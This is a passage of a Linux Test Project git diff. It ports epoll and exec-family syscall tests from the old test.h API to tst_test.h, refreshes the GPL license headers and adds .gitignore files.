-	if (TEST_RETURN != -1) {
+	if (TST_RET != -1) {
 		tst_res(TFAIL, "epoll_ctl() succeeds unexpectedly");
 		return;
 	}
 
-	if (tc->exp_err == TEST_ERRNO) {
+	if (tc->exp_err == TST_ERR) {
 		tst_res(TPASS | TTERRNO, "epoll_ctl() fails as expected");
 	} else {
 		tst_res(TFAIL | TTERRNO,
diff --git a/testcases/kernel/syscalls/epoll_pwait/.gitignore b/testcases/kernel/syscalls/epoll_pwait/.gitignore
new file mode 100644
index 0000000..d53943a
--- /dev/null
+++ b/testcases/kernel/syscalls/epoll_pwait/.gitignore
@@ -0,0 +1 @@
+/epoll_pwait01
diff --git a/testcases/kernel/syscalls/epoll_wait/.gitignore b/testcases/kernel/syscalls/epoll_wait/.gitignore
new file mode 100644
index 0000000..03b1be9
--- /dev/null
+++ b/testcases/kernel/syscalls/epoll_wait/.gitignore
@@ -0,0 +1,3 @@
+/epoll_wait01
+/epoll_wait02
+/epoll_wait03
diff --git a/testcases/kernel/syscalls/epoll_wait/epoll_wait01.c b/testcases/kernel/syscalls/epoll_wait/epoll_wait01.c
index 6827e45..0d0a7f4 100644
--- a/testcases/kernel/syscalls/epoll_wait/epoll_wait01.c
+++ b/testcases/kernel/syscalls/epoll_wait/epoll_wait01.c
@@ -111,14 +111,14 @@
 
 	TEST(epoll_wait(epfd, &ret_evs, 1, -1));
 
-	if (TEST_RETURN == -1) {
+	if (TST_RET == -1) {
 		tst_res(TFAIL | TTERRNO, "epoll_wait() epollout failed");
 		return;
 	}
 
-	if (TEST_RETURN != 1) {
+	if (TST_RET != 1) {
 		tst_res(TFAIL, "epoll_wait() returned %li, expected 1",
-			TEST_RETURN);
+			TST_RET);
 		return;
 	}
 
@@ -149,14 +149,14 @@
 
 	TEST(epoll_wait(epfd, &ret_evs, 1, -1));
 
-	if (TEST_RETURN == -1) {
+	if (TST_RET == -1) {
 		tst_res(TFAIL | TTERRNO, "epoll_wait() epollin failed");
 		goto end;
 	}
 
-	if (TEST_RETURN != 1) {
+	if (TST_RET != 1) {
 		tst_res(TFAIL, "epoll_wait() returned %li, expected 1",
-			TEST_RETURN);
+			TST_RET);
 		goto end;
 	}
 
@@ -193,9 +193,9 @@
 		bzero(ret_evs, sizeof(ret_evs));
 		TEST(epoll_wait(epfd, ret_evs, 2, -1));
 
-		if (TEST_RETURN <= 0) {
+		if (TST_RET <= 0) {
 			tst_res(TFAIL | TTERRNO, "epoll_wait() returned %li",
-				TEST_RETURN);
+				TST_RET);
 			goto end;
 		}
 
@@ -211,7 +211,7 @@
 			events &= ~EPOLLOUT;
 		}
 
-		if (TEST_RETURN != events_matched) {
+		if (TST_RET != events_matched) {
 			tst_res(TFAIL,
 				"epoll_wait() returned unexpected events");
 			dump_epevs(ret_evs, 2);
diff --git a/testcases/kernel/syscalls/epoll_wait/epoll_wait02.c b/testcases/kernel/syscalls/epoll_wait/epoll_wait02.c
index 70cddb9..a1eab26 100644
--- a/testcases/kernel/syscalls/epoll_wait/epoll_wait02.c
+++ b/testcases/kernel/syscalls/epoll_wait/epoll_wait02.c
@@ -41,9 +41,9 @@
 	tst_timer_stop();
 	tst_timer_sample();
 
-	if (TEST_RETURN != 0) {
+	if (TST_RET != 0) {
 		tst_res(TFAIL | TTERRNO,
-			"epoll_wait() returned %li", TEST_RETURN);
+			"epoll_wait() returned %li", TST_RET);
 		return 1;
 	}
 
diff --git a/testcases/kernel/syscalls/eventfd/.gitignore b/testcases/kernel/syscalls/eventfd/.gitignore
new file mode 100644
index 0000000..db45c67
--- /dev/null
+++ b/testcases/kernel/syscalls/eventfd/.gitignore
@@ -0,0 +1 @@
+/eventfd01
diff --git a/testcases/kernel/syscalls/eventfd2/.gitignore b/testcases/kernel/syscalls/eventfd2/.gitignore
new file mode 100644
index 0000000..b87411a
--- /dev/null
+++ b/testcases/kernel/syscalls/eventfd2/.gitignore
@@ -0,0 +1,3 @@
+/eventfd2_01
+/eventfd2_02
+/eventfd2_03
diff --git a/testcases/kernel/syscalls/execl/.gitignore b/testcases/kernel/syscalls/execl/.gitignore
new file mode 100644
index 0000000..8b86b48
--- /dev/null
+++ b/testcases/kernel/syscalls/execl/.gitignore
@@ -0,0 +1,2 @@
+/execl01
+/execl01_child
diff --git a/testcases/kernel/syscalls/execl/Makefile b/testcases/kernel/syscalls/execl/Makefile
index bd617d8..a0e5f0f 100644
--- a/testcases/kernel/syscalls/execl/Makefile
+++ b/testcases/kernel/syscalls/execl/Makefile
@@ -1,19 +1,19 @@
 #
+#  Copyright (c) Linux Test Project, 2018
 #  Copyright (c) International Business Machines  Corp., 2001
 #
-#  This program is free software;  you can redistribute it and/or modify
+#  This program is free software: you can redistribute it and/or modify
 #  it under the terms of the GNU General Public License as published by
-#  the Free Software Foundation; either version 2 of the License, or
+#  the Free Software Foundation, either version 2 of the License, or
 #  (at your option) any later version.
 #
 #  This program is distributed in the hope that it will be useful,
-#  but WITHOUT ANY WARRANTY;  without even the implied warranty of
-#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
-#  the GNU General Public License for more details.
+#  but WITHOUT ANY WARRANTY; without even the implied warranty of
+#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+#  GNU General Public License for more details.
 #
 #  You should have received a copy of the GNU General Public License
-#  along with this program;  if not, write to the Free Software
-#  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+#  along with this program. If not, see <http://www.gnu.org/licenses/>.
 #
 
 top_srcdir		?= ../../../..
diff --git a/testcases/kernel/syscalls/execl/execl01.c b/testcases/kernel/syscalls/execl/execl01.c
index 1a4710d..c81a194 100644
--- a/testcases/kernel/syscalls/execl/execl01.c
+++ b/testcases/kernel/syscalls/execl/execl01.c
@@ -1,85 +1,51 @@
 /*
+ * Copyright (c) 2018 Linux Test Project
+ * Copyright (C) 2015 Cyril Hrubis <chrubis@suse.cz>
  * Copyright (c) 2000 Silicon Graphics, Inc.  All Rights Reserved.
  *    AUTHOR		: William Roske
  *    CO-PILOT		: Dave Fenner
  *    DATE STARTED	: 06/01/02
- * Copyright (C) 2015 Cyril Hrubis <chrubis@suse.cz>
  *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
  *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
  *
- * Further, this software is distributed without any warranty that it is
- * free of the rightful claim of any third person regarding infringement
- * or the like.  Any license provided herein, whether implied or
- * otherwise, applies only to this software file.  Patent licenses, if
- * any, provided herein do not apply to combinations of this program with
- * other software, or any other product whatsoever.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
- * Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy,
- * Mountain View, CA  94043, or:
- *
- * http://www.sgi.com
- *
- * For further information regarding this notice, see:
- *
- * http://oss.sgi.com/projects/GenInfo/NoticeExplan/
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
  */
+
 #include <sys/types.h>
 #include <sys/wait.h>
 #include <errno.h>
 #include <string.h>
-#include <signal.h>
 #include <stdlib.h>
 
-#include "test.h"
+#include "tst_test.h"
 
-static void setup(void);
-
-char *TCID = "execl01";
-int TST_TOTAL = 1;
-
-int main(int ac, char **av)
+static void verify_execl(void)
 {
-	int lc;
 	pid_t pid;
-	char path[2048];
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
+	char path[512];
 
 	if (tst_get_path("execl01_child", path, sizeof(path)))
-		tst_brkm(TCONF, NULL, "Couldn't find execl01_child in $PATH");
+		tst_brk(TCONF, "Couldn't find execl01_child in $PATH");
 
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		switch (pid = FORK_OR_VFORK()) {
-		case 0:
-			execl(path, "execl01_child", "canary", NULL);
-			tst_brkm(TFAIL | TERRNO, NULL,
-			         "Failed to execute execl01_child");
-		case -1:
-			tst_brkm(TBROK | TERRNO, NULL, "fork failed");
-		default:
-			tst_record_childstatus(NULL, pid);
-		}
-
+	pid = SAFE_FORK();
+	if (pid == 0) {
+		TEST(execl(path, "execl01_child", "canary", NULL));
+		tst_brk(TFAIL | TERRNO,
+			"Failed to execute execl01_child");
 	}
-
-	tst_exit();
 }
 
-static void setup(void)
-{
-	tst_sig(FORK, DEF_HANDLER, NULL);
-
-	TEST_PAUSE;
-}
+static struct tst_test test = {
+	.forks_child = 1,
+	.child_needs_reinit = 1,
+	.test_all = verify_execl,
+};
diff --git a/testcases/kernel/syscalls/execl/execl01_child.c b/testcases/kernel/syscalls/execl/execl01_child.c
index a339e53..8a6e512 100644
--- a/testcases/kernel/syscalls/execl/execl01_child.c
+++ b/testcases/kernel/syscalls/execl/execl01_child.c
@@ -1,40 +1,35 @@
 /*
+ * Copyright (c) 2018 Linux Test Project
  * Copyright (C) 2015 Cyril Hrubis chrubis@suse.cz
  *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
  *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
  *
- * Further, this software is distributed without any warranty that it is
- * free of the rightful claim of any third person regarding infringement
- * or the like.  Any license provided herein, whether implied or
- * otherwise, applies only to this software file.  Patent licenses, if
- * any, provided herein do not apply to combinations of this program with
- * other software, or any other product whatsoever.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
  */
 
-#include "test.h"
-
-char *TCID = "execl01_child";
+#define TST_NO_DEFAULT_MAIN
+#include "tst_test.h"
 
 int main(int argc, char *argv[])
 {
+	tst_reinit();
+
 	if (argc != 2)
-		tst_brkm(TFAIL, NULL, "argc is %d, expected 2", argc);
+		tst_brk(TFAIL, "argc is %d, expected 2", argc);
 
-	if (strcmp(argv[1], "canary")) {
-		tst_brkm(TFAIL, NULL, "argv[1] is %s, expected 'canary'",
-		         argv[1]);
-	}
+	if (strcmp(argv[1], "canary"))
+		tst_brk(TFAIL, "argv[1] is %s, expected 'canary'", argv[1]);
 
-	tst_resm(TPASS, "%s executed", argv[0]);
-	tst_exit();
+	tst_res(TPASS, "%s executed", argv[0]);
+
+	return 0;
 }
diff --git a/testcases/kernel/syscalls/execle/.gitignore b/testcases/kernel/syscalls/execle/.gitignore
new file mode 100644
index 0000000..a8bfff4
--- /dev/null
+++ b/testcases/kernel/syscalls/execle/.gitignore
@@ -0,0 +1,2 @@
+/execle01
+/execle01_child
diff --git a/testcases/kernel/syscalls/execle/Makefile b/testcases/kernel/syscalls/execle/Makefile
index bd617d8..a0e5f0f 100644
--- a/testcases/kernel/syscalls/execle/Makefile
+++ b/testcases/kernel/syscalls/execle/Makefile
@@ -1,19 +1,19 @@
 #
+#  Copyright (c) Linux Test Project, 2018
 #  Copyright (c) International Business Machines  Corp., 2001
 #
-#  This program is free software;  you can redistribute it and/or modify
+#  This program is free software: you can redistribute it and/or modify
 #  it under the terms of the GNU General Public License as published by
-#  the Free Software Foundation; either version 2 of the License, or
+#  the Free Software Foundation, either version 2 of the License, or
 #  (at your option) any later version.
 #
 #  This program is distributed in the hope that it will be useful,
-#  but WITHOUT ANY WARRANTY;  without even the implied warranty of
-#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
-#  the GNU General Public License for more details.
+#  but WITHOUT ANY WARRANTY; without even the implied warranty of
+#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+#  GNU General Public License for more details.
 #
 #  You should have received a copy of the GNU General Public License
-#  along with this program;  if not, write to the Free Software
-#  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+#  along with this program. If not, see <http://www.gnu.org/licenses/>.
 #
 
 top_srcdir		?= ../../../..
diff --git a/testcases/kernel/syscalls/execle/execle01.c b/testcases/kernel/syscalls/execle/execle01.c
index 5cfe9c9..0099789 100644
--- a/testcases/kernel/syscalls/execle/execle01.c
+++ b/testcases/kernel/syscalls/execle/execle01.c
@@ -1,85 +1,58 @@
 /*
+ * Copyright (c) 2018 Linux Test Project
+ * Copyright (C) 2015 Cyril Hrubis <chrubis@suse.cz>
  * Copyright (c) 2000 Silicon Graphics, Inc.  All Rights Reserved.
  *    AUTHOR		: William Roske
  *    CO-PILOT		: Dave Fenner
  *    DATE STARTED	: 06/01/02
- * Copyright (C) 2015 Cyril Hrubis <chrubis@suse.cz>
  *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
  *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
  *
- * Further, this software is distributed without any warranty that it is
- * free of the rightful claim of any third person regarding infringement
- * or the like.  Any license provided herein, whether implied or
- * otherwise, applies only to this software file.  Patent licenses, if
- * any, provided herein do not apply to combinations of this program with
- * other software, or any other product whatsoever.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
- * Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy,
- * Mountain View, CA  94043, or:
- *
- * http://www.sgi.com
- *
- * For further information regarding this notice, see:
- *
- * http://oss.sgi.com/projects/GenInfo/NoticeExplan/
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
  */
+
 #include <sys/types.h>
 #include <sys/wait.h>
 #include <errno.h>
-#include <signal.h>
 #include <stdlib.h>
 #include <string.h>
+#include <stdio.h>
 
-#include "test.h"
+#include "tst_test.h"
 
-static void setup(void);
+#define IPC_ENV_VAR "LTP_IPC_PATH"
 
-char *TCID = "execle01";
-int TST_TOTAL = 1;
-
-int main(int ac, char **av)
+static void verify_execle(void)
 {
-	int lc;
 	pid_t pid;
-	char *env[] = { "LTP_TEST_ENV_VAR=test", NULL };
-	char path[2048];
+	char path[512];
+	char ipc_env_var[1024];
 
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
+	sprintf(ipc_env_var, IPC_ENV_VAR "=%s", getenv(IPC_ENV_VAR));
+	char *const envp[] = { "LTP_TEST_ENV_VAR=test", ipc_env_var, NULL };
 
 	if (tst_get_path("execle01_child", path, sizeof(path)))
-		tst_brkm(TCONF, NULL, "Couldn't find execle01_child in $PATH");
+		tst_brk(TCONF, "Couldn't find execle01_child in $PATH");
 
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		switch (pid = FORK_OR_VFORK()) {
-		case 0:
-			execle(path, "execle01_child", "canary", NULL, env);
-			tst_brkm(TFAIL | TERRNO, NULL,
-			         "Failed to execute execl01_child");
-		case -1:
-			tst_brkm(TBROK | TERRNO, NULL, "fork failed");
-		default:
-			tst_record_childstatus(NULL, pid);
-		}
+	pid = SAFE_FORK();
+	if (pid == 0) {
+		TEST(execle(path, "execle01_child", "canary", NULL, envp));
+		tst_brk(TFAIL | TERRNO,
+			"Failed to execute execl01_child");
 	}
-
-	tst_exit();
 }
 
-void setup(void)
-{
-	tst_sig(FORK, DEF_HANDLER, NULL);
-
-	TEST_PAUSE;
-}
+static struct tst_test test = {
+	.forks_child = 1,
+	.child_needs_reinit = 1,
+	.test_all = verify_execle,
+};
diff --git a/testcases/kernel/syscalls/execle/execle01_child.c b/testcases/kernel/syscalls/execle/execle01_child.c
index f529fb8..0ebfaa8 100644
--- a/testcases/kernel/syscalls/execle/execle01_child.c
+++ b/testcases/kernel/syscalls/execle/execle01_child.c
@@ -1,55 +1,49 @@
 /*
+ * Copyright (c) 2018 Linux Test Project
  * Copyright (C) 2015 Cyril Hrubis chrubis@suse.cz
  *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
  *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
  *
- * Further, this software is distributed without any warranty that it is
- * free of the rightful claim of any third person regarding infringement
- * or the like.  Any license provided herein, whether implied or
- * otherwise, applies only to this software file.  Patent licenses, if
- * any, provided herein do not apply to combinations of this program with
- * other software, or any other product whatsoever.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
  */
 
-#include "test.h"
-
-char *TCID = "execl01_child";
+#define TST_NO_DEFAULT_MAIN
+#include <stdlib.h>
+#include "tst_test.h"
 
 int main(int argc, char *argv[])
 {
 	char *env;
 
-	if (argc != 2)
-		tst_brkm(TFAIL, NULL, "argc is %d, expected 2", argc);
+	tst_reinit();
 
-	if (strcmp(argv[1], "canary")) {
-		tst_brkm(TFAIL, NULL, "argv[1] is %s, expected 'canary'",
-		         argv[1]);
-	}
+	if (argc != 2)
+		tst_brk(TFAIL, "argc is %d, expected 2", argc);
+
+	if (strcmp(argv[1], "canary"))
+		tst_brk(TFAIL, "argv[1] is %s, expected 'canary'", argv[1]);
 
 	env = getenv("LTP_TEST_ENV_VAR");
 
 	if (!env)
-		tst_brkm(TFAIL, NULL, "LTP_TEST_ENV_VAR is missing");
+		tst_brk(TFAIL, "LTP_TEST_ENV_VAR is missing");
 
-	if (strcmp(env, "test")) {
-		tst_brkm(TFAIL, NULL, "LTP_TEST_ENV_VAR='%s', expected test",
-		         env);
-	}
+	if (strcmp(env, "test"))
+		tst_brk(TFAIL, "LTP_TEST_ENV_VAR='%s', expected test", env);
 
 	if (getenv("PATH"))
-		tst_brkm(TFAIL, NULL, "PATH is in environment");
+		tst_brk(TFAIL, "PATH is in environment");
 
-	tst_resm(TPASS, "%s executed", argv[0]);
-	tst_exit();
+	tst_res(TPASS, "%s executed", argv[0]);
+
+	return 0;
 }
diff --git a/testcases/kernel/syscalls/execlp/.gitignore b/testcases/kernel/syscalls/execlp/.gitignore
new file mode 100644
index 0000000..7ed4772
--- /dev/null
+++ b/testcases/kernel/syscalls/execlp/.gitignore
@@ -0,0 +1,2 @@
+/execlp01
+/execlp01_child
diff --git a/testcases/kernel/syscalls/execlp/Makefile b/testcases/kernel/syscalls/execlp/Makefile
index bd617d8..a0e5f0f 100644
--- a/testcases/kernel/syscalls/execlp/Makefile
+++ b/testcases/kernel/syscalls/execlp/Makefile
@@ -1,19 +1,19 @@
 #
+#  Copyright (c) Linux Test Project, 2018
 #  Copyright (c) International Business Machines  Corp., 2001
 #
-#  This program is free software;  you can redistribute it and/or modify
+#  This program is free software: you can redistribute it and/or modify
 #  it under the terms of the GNU General Public License as published by
-#  the Free Software Foundation; either version 2 of the License, or
+#  the Free Software Foundation, either version 2 of the License, or
 #  (at your option) any later version.
 #
 #  This program is distributed in the hope that it will be useful,
-#  but WITHOUT ANY WARRANTY;  without even the implied warranty of
-#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
-#  the GNU General Public License for more details.
+#  but WITHOUT ANY WARRANTY; without even the implied warranty of
+#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+#  GNU General Public License for more details.
 #
 #  You should have received a copy of the GNU General Public License
-#  along with this program;  if not, write to the Free Software
-#  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+#  along with this program. If not, see <http://www.gnu.org/licenses/>.
 #
 
 top_srcdir		?= ../../../..
diff --git a/testcases/kernel/syscalls/execlp/execlp01.c b/testcases/kernel/syscalls/execlp/execlp01.c
index d4e0d11..50ee872 100644
--- a/testcases/kernel/syscalls/execlp/execlp01.c
+++ b/testcases/kernel/syscalls/execlp/execlp01.c
@@ -1,39 +1,26 @@
 /*
+ * Copyright (c) 2018 Linux Test Project
+ * Copyright (C) 2015 Cyril Hrubis <chrubis@suse.cz>
  * Copyright (c) 2000 Silicon Graphics, Inc.  All Rights Reserved.
  *    AUTHOR		: William Roske
  *    CO-PILOT		: Dave Fenner
  *    DATE STARTED	: 06/01/02
- * Copyright (C) 2015 Cyril Hrubis <chrubis@suse.cz>
  *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
  *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
  *
- * Further, this software is distributed without any warranty that it is
- * free of the rightful claim of any third person regarding infringement
- * or the like.  Any license provided herein, whether implied or
- * otherwise, applies only to this software file.  Patent licenses, if
- * any, provided herein do not apply to combinations of this program with
- * other software, or any other product whatsoever.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
- * Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy,
- * Mountain View, CA  94043, or:
- *
- * http://www.sgi.com
- *
- * For further information regarding this notice, see:
- *
- * http://oss.sgi.com/projects/GenInfo/NoticeExplan/
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
  *
  */
+
 #include <errno.h>
 #include <string.h>
 #include <signal.h>
@@ -42,41 +29,22 @@
 #include <sys/types.h>
 #include <sys/wait.h>
 
-#include "test.h"
+#include "tst_test.h"
 
-static void setup(void);
-
-char *TCID = "execlp01";
-int TST_TOTAL = 1;
-
-int main(int ac, char **av)
+static void verify_execlp(void)
 {
-	int lc;
 	pid_t pid;
 
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		switch (pid = FORK_OR_VFORK()) {
-		case 0:
-			execlp("execlp01_child", "execlp01_child", "canary", NULL);
-			tst_brkm(TFAIL | TERRNO, NULL,
-			         "Failed to execute execlp01_child");
-		case -1:
-			tst_brkm(TBROK | TERRNO, NULL, "fork failed");
-		default:
-			tst_record_childstatus(NULL, pid);
-		}
+	pid = SAFE_FORK();
+	if (pid == 0 ) {
+		TEST(execlp("execlp01_child", "execlp01_child", "canary", NULL));
+		tst_brk(TFAIL | TERRNO,
+			"Failed to execute execlp01_child");
 	}
-
-	tst_exit();
 }
 
-static void setup(void)
-{
-	tst_sig(FORK, DEF_HANDLER, NULL);
-
-	TEST_PAUSE;
-}
+static struct tst_test test = {
+	.forks_child = 1,
+	.child_needs_reinit = 1,
+	.test_all = verify_execlp,
+};
diff --git a/testcases/kernel/syscalls/execlp/execlp01_child.c b/testcases/kernel/syscalls/execlp/execlp01_child.c
index eebea81..8a6e512 100644
--- a/testcases/kernel/syscalls/execlp/execlp01_child.c
+++ b/testcases/kernel/syscalls/execlp/execlp01_child.c
@@ -1,40 +1,35 @@
 /*
+ * Copyright (c) 2018 Linux Test Project
  * Copyright (C) 2015 Cyril Hrubis chrubis@suse.cz
  *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
  *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
  *
- * Further, this software is distributed without any warranty that it is
- * free of the rightful claim of any third person regarding infringement
- * or the like.  Any license provided herein, whether implied or
- * otherwise, applies only to this software file.  Patent licenses, if
- * any, provided herein do not apply to combinations of this program with
- * other software, or any other product whatsoever.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
  */
 
-#include "test.h"
-
-char *TCID = "execlp01_child";
+#define TST_NO_DEFAULT_MAIN
+#include "tst_test.h"
 
 int main(int argc, char *argv[])
 {
+	tst_reinit();
+
 	if (argc != 2)
-		tst_brkm(TFAIL, NULL, "argc is %d, expected 2", argc);
+		tst_brk(TFAIL, "argc is %d, expected 2", argc);
 
-	if (strcmp(argv[1], "canary")) {
-		tst_brkm(TFAIL, NULL, "argv[1] is %s, expected 'canary'",
-		         argv[1]);
-	}
+	if (strcmp(argv[1], "canary"))
+		tst_brk(TFAIL, "argv[1] is %s, expected 'canary'", argv[1]);
 
-	tst_resm(TPASS, "%s executed", argv[0]);
-	tst_exit();
+	tst_res(TPASS, "%s executed", argv[0]);
+
+	return 0;
 }
diff --git a/testcases/kernel/syscalls/execv/.gitignore b/testcases/kernel/syscalls/execv/.gitignore
new file mode 100644
index 0000000..89caea5
--- /dev/null
+++ b/testcases/kernel/syscalls/execv/.gitignore
@@ -0,0 +1,2 @@
+/execv01
+/execv01_child
diff --git a/testcases/kernel/syscalls/execv/Makefile b/testcases/kernel/syscalls/execv/Makefile
index bd617d8..a0e5f0f 100644
--- a/testcases/kernel/syscalls/execv/Makefile
+++ b/testcases/kernel/syscalls/execv/Makefile
@@ -1,19 +1,19 @@
 #
+#  Copyright (c) Linux Test Project, 2018
 #  Copyright (c) International Business Machines  Corp., 2001
 #
-#  This program is free software;  you can redistribute it and/or modify
+#  This program is free software: you can redistribute it and/or modify
 #  it under the terms of the GNU General Public License as published by
-#  the Free Software Foundation; either version 2 of the License, or
+#  the Free Software Foundation, either version 2 of the License, or
 #  (at your option) any later version.
 #
 #  This program is distributed in the hope that it will be useful,
-#  but WITHOUT ANY WARRANTY;  without even the implied warranty of
-#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
-#  the GNU General Public License for more details.
+#  but WITHOUT ANY WARRANTY; without even the implied warranty of
+#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+#  GNU General Public License for more details.
 #
 #  You should have received a copy of the GNU General Public License
-#  along with this program;  if not, write to the Free Software
-#  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+#  along with this program. If not, see <http://www.gnu.org/licenses/>.
 #
 
 top_srcdir		?= ../../../..
diff --git a/testcases/kernel/syscalls/execv/execv01.c b/testcases/kernel/syscalls/execv/execv01.c
index 3e99f53..5fa5b89 100644
--- a/testcases/kernel/syscalls/execv/execv01.c
+++ b/testcases/kernel/syscalls/execv/execv01.c
@@ -1,38 +1,25 @@
 /*
+ * Copyright (c) 2018 Linux Test Project
+ * Copyright (C) 2015 Cyril Hrubis <chrubis@suse.cz>
  * Copyright (c) 2000 Silicon Graphics, Inc.  All Rights Reserved.
  *    AUTHOR		: William Roske
  *    CO-PILOT		: Dave Fenner
  *    DATE STARTED	: 06/01/02
- * Copyright (C) 2015 Cyril Hrubis <chrubis@suse.cz>
  *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
+ * This program is free software: you can redistribute it and/or modify
